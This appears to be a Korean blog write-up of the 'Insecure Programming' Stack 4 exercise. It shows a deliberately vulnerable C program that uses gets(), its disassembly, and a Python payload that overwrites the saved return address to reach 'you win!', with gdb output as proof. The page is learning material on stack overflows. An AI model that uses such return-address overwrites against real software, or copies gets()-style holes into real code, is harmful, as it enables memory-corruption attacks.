기본 콘텐츠로 건너뛰기

Insecure-programming-stack4

Insecure-programming-stack4

Insecure Programming by example

Stack 4

문제의 전체적인 구성은 이전과 동일하지만, cookie 값을 눈여겨볼 필요가 있다. 0x000d0a00에서 0x0d는 CR(Carriage Return), 0x0a는 LF(Line Feed)로 NULL, r, n, NULL과 같은 형태로 구성된다. 하지만 gets()함수는 EOF나 개행 문자 삽입 시 해당 문자를 제거하고 입력을 종료하게 되므로 gets()함수를 통해서 cookie 값을 전달할 수 없다.

#include <stdio.h>

int main() {
	int cookie;
	char buf[80];

	printf("buf: %08x cookie: %08x\n", &buf, &cookie);
	gets(buf);

	if(cookie == 0x000d0a00)
		printf("you win!\n");
}

이번 문제에서는 검증로직 우회가 불가하므로 printf("you win!\n");코드를 실행하기 위해서는 해당 코드 주소 직접 호출하는 방식으로 접근해야한다.

objdump를 이용하여 변수의 구성을 확인하자.

# objdump -d -M intel stack4
...

080483b4 <main>:
 80483b4:       55                      push   ebp
 80483b5:       89 e5                   mov    ebp,esp
 80483b7:       83 ec 78                sub    esp,0x78
 80483ba:       83 e4 f0                and    esp,0xfffffff0
 80483bd:       b8 00 00 00 00          mov    eax,0x0
 80483c2:       29 c4                   sub    esp,eax
 80483c4:       8d 45 f4                lea    eax,[ebp-12]
 80483c7:       89 44 24 08             mov    DWORD PTR [esp+8],eax
 80483cb:       8d 45 98                lea    eax,[ebp-104]
 80483ce:       89 44 24 04             mov    DWORD PTR [esp+4],eax
 80483d2:       c7 04 24 d4 84 04 08    mov    DWORD PTR [esp],0x80484d4
 80483d9:       e8 f6 fe ff ff          call   80482d4 <printf@plt>
 80483de:       8d 45 98                lea    eax,[ebp-104]
 80483e1:       89 04 24                mov    DWORD PTR [esp],eax
 80483e4:       e8 cb fe ff ff          call   80482b4 <gets@plt>
 80483e9:       81 7d f4 00 0a 0d 00    cmp    DWORD PTR [ebp-12],0xd0a00
 80483f0:       75 0c                   jne    80483fe <main+0x4a>
 80483f2:       c7 04 24 ec 84 04 08    mov    DWORD PTR [esp],0x80484ec
 80483f9:       e8 d6 fe ff ff          call   80482d4 <printf@plt>
 80483fe:       c9                      leave  
 80483ff:       c3                      ret    

...

gets()함수의 인자 값으로 ebp -104를 전달하는 것으로 보아 buf 배열의 시작이 ebp - 104에 위치한 다는 것을 알 수 있다.

buf ebp eip
Address 104 4 4

여기서 우리가 호출하고자 하는 명령어 mov DWORD PTR [esp],0x80484ec의 주소 80483f2eip에 덮어쓰면 main함수 에필로그 과정에서 저장된 조작된 eip주소를 불러와 you win!을 출력하게 될 것이다.

파이썬으로 입력 값을 생성하여 실제 동작되는 지 확인해보자.

# python -c "print 'a'*108+'\xf2\x83\x04\x08'" > stack4_input_r
# cat stack4_input_r | ./stack4
buf: bffff7e0 cookie: bffff83c
you win!
Segmentation fault
(gdb) set disassembly-flavor intel
(gdb) b *main+53
Breakpoint 1 at 0x80483e9
(gdb) r < stack4_input_r
Starting program: /home/iamroot/workspace/stack4 < stack4_input_r
buf: bffff7b0 cookie: bffff80c

Breakpoint 1, 0x080483e9 in main ()
(gdb) info f
Stack level 0, frame at 0xbffff820:
 eip = 0x80483e9 in main; saved eip 0x80483f2
 Arglist at 0xbffff818, args: 
 Locals at 0xbffff818, Previous frame's sp is 0xbffff820
 Saved registers:
  ebp at 0xbffff818, eip at 0xbffff81c
(gdb) disas
Dump of assembler code for function main:
0x080483b4 <main+0>:    push   ebp
0x080483b5 <main+1>:    mov    ebp,esp
0x080483b7 <main+3>:    sub    esp,0x78
0x080483ba <main+6>:    and    esp,0xfffffff0
0x080483bd <main+9>:    mov    eax,0x0
0x080483c2 <main+14>:   sub    esp,eax
0x080483c4 <main+16>:   lea    eax,[ebp-12]
0x080483c7 <main+19>:   mov    DWORD PTR [esp+8],eax
0x080483cb <main+23>:   lea    eax,[ebp-104]
0x080483ce <main+26>:   mov    DWORD PTR [esp+4],eax
0x080483d2 <main+30>:   mov    DWORD PTR [esp],0x80484d4
0x080483d9 <main+37>:   call   0x80482d4 <printf@plt>
0x080483de <main+42>:   lea    eax,[ebp-104]
0x080483e1 <main+45>:   mov    DWORD PTR [esp],eax
0x080483e4 <main+48>:   call   0x80482b4 <gets@plt>
0x080483e9 <main+53>:   cmp    DWORD PTR [ebp-12],0xd0a00
0x080483f0 <main+60>:   jne    0x80483fe <main+74>
0x080483f2 <main+62>:   mov    DWORD PTR [esp],0x80484ec
0x080483f9 <main+69>:   call   0x80482d4 <printf@plt>
0x080483fe <main+74>:   leave  
0x080483ff <main+75>:   ret    
End of assembler dump.
(gdb) b *main+62
Breakpoint 2 at 0x80483f2
(gdb) c
Continuing.

Breakpoint 2, 0x080483f2 in main ()
(gdb) ni
0x080483f9 in main ()
(gdb) ni
you win!

전체 목록 보기 : Insecure programming
진행 환경 : # cat /proc/version
Linux version 2.6.20-15-generic (root@palmer) (gcc version 4.1.2 (Ubuntu 4.1.2-0ubuntu4)) #2 SMP Sun Apr 15 07:36:31 UTC 2007`

이 블로그의 인기 게시물

데일 카네기 인간관계론 정리

Remove-Server-Header

응답 메시지 내 서버 버전 정보 제거 1. Apache 1) 조치 방법 “/etc/htpd/conf/httpd.conf” 파일 안에서 1. ServerTokens OS → ServerTokens Prod 2. ServerSignature On → ServerSignature Off 로 변경한 후 아파치를 재시작하면 헤더 값의 아파치 버전 정보 및 OS 정보를 제거할 수 있다. 2) 참고 URL http://zetawiki.com/wiki/CentOS_ 아파치_보안권장설정_ServerTokens_Prod,_ServerSignature_Off 2. IIS 1) 조치 방법 IIS 6.0 urlscan_setup 실행. 설치. \windows\system32\inetsrv\urlscan\urlscan.ini 파일을 열어 다음 수정(RemoveServerHeader=0 을 RemoveServerHeader=1 로 변경) 서비스에서 IIS Admin Service 재시작. IIS 7.0 IIS 관리자를 열고 관리하려는 수준으로 이동합니다. 기능 보기에서 HTTP 응답 헤더를 두 번 클릭합니다. HTTP 응답 헤더 페이지에서 제거할 헤더를 선택합니다. 작업 창에서 제거를 클릭하고 예를 클릭합니다. 2) 참고 URL IIS 6.0 : http://gonnie.tistory.com/entry/iis6- 응답헤더-감추기 IIS 7.0 : https://technet.microsoft.com/ko-kr/library/cc733102(v=ws.10).aspx 3. jetty 1) 조치 방법 “jetty.xml” 파일에서 jetty.send.server.version=false 설정 2) 참고 URL http://attenuated-perspicacity.blogspot.kr/2009/09/jetty-61x-hardening.html 4. Nginx ...

American Fuzzy Lop And Address Sanitizer

American Fuzzy Lop And Address Sanitizer Address Sanitizer(ASAN) 단지 gcc/clang에 -fsanitize=address 옵션을 추가하는 것으로 간단히 사용할 수 있지만 그 효과는 충분하다. Example Out Of Bounds Read #include <stdio.h> int main() { int a[ 2 ] = { 3 , 1 }; int i = 2 ; printf ( "%i\n" , a[i]); } 예제 파일을 OutOfBoundsRead.c 로 생성하고 ASAN 옵션을 지정하여 clang 으로 컴파일하자. clang -g -fsanitize = address -fno -omit -frame -pointer OutOfBoundsRead . c -o OutOfBoundsRead 생성된 OutBoundsRead 파일을 실행하면 다음과 같은 결과를 볼 수 있다. ================================================================= ==3678==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffc0ba87428 at pc 0x47b7db bp 0x7ffc0ba87390 sp 0x7ffc0ba87388 READ of size 4 at 0x7ffc0ba87428 thread T0 ==3678==WARNING: Trying to symbolize code, but external symbolizer is not initialized! #0 0x47b7da (/root/ASAN/OutOfBoundsRead+0x47b7da) #1 0x7faba0260f44 (/lib/x86_64-linux-gnu/libc.so.6+0x21f44) #2 0x...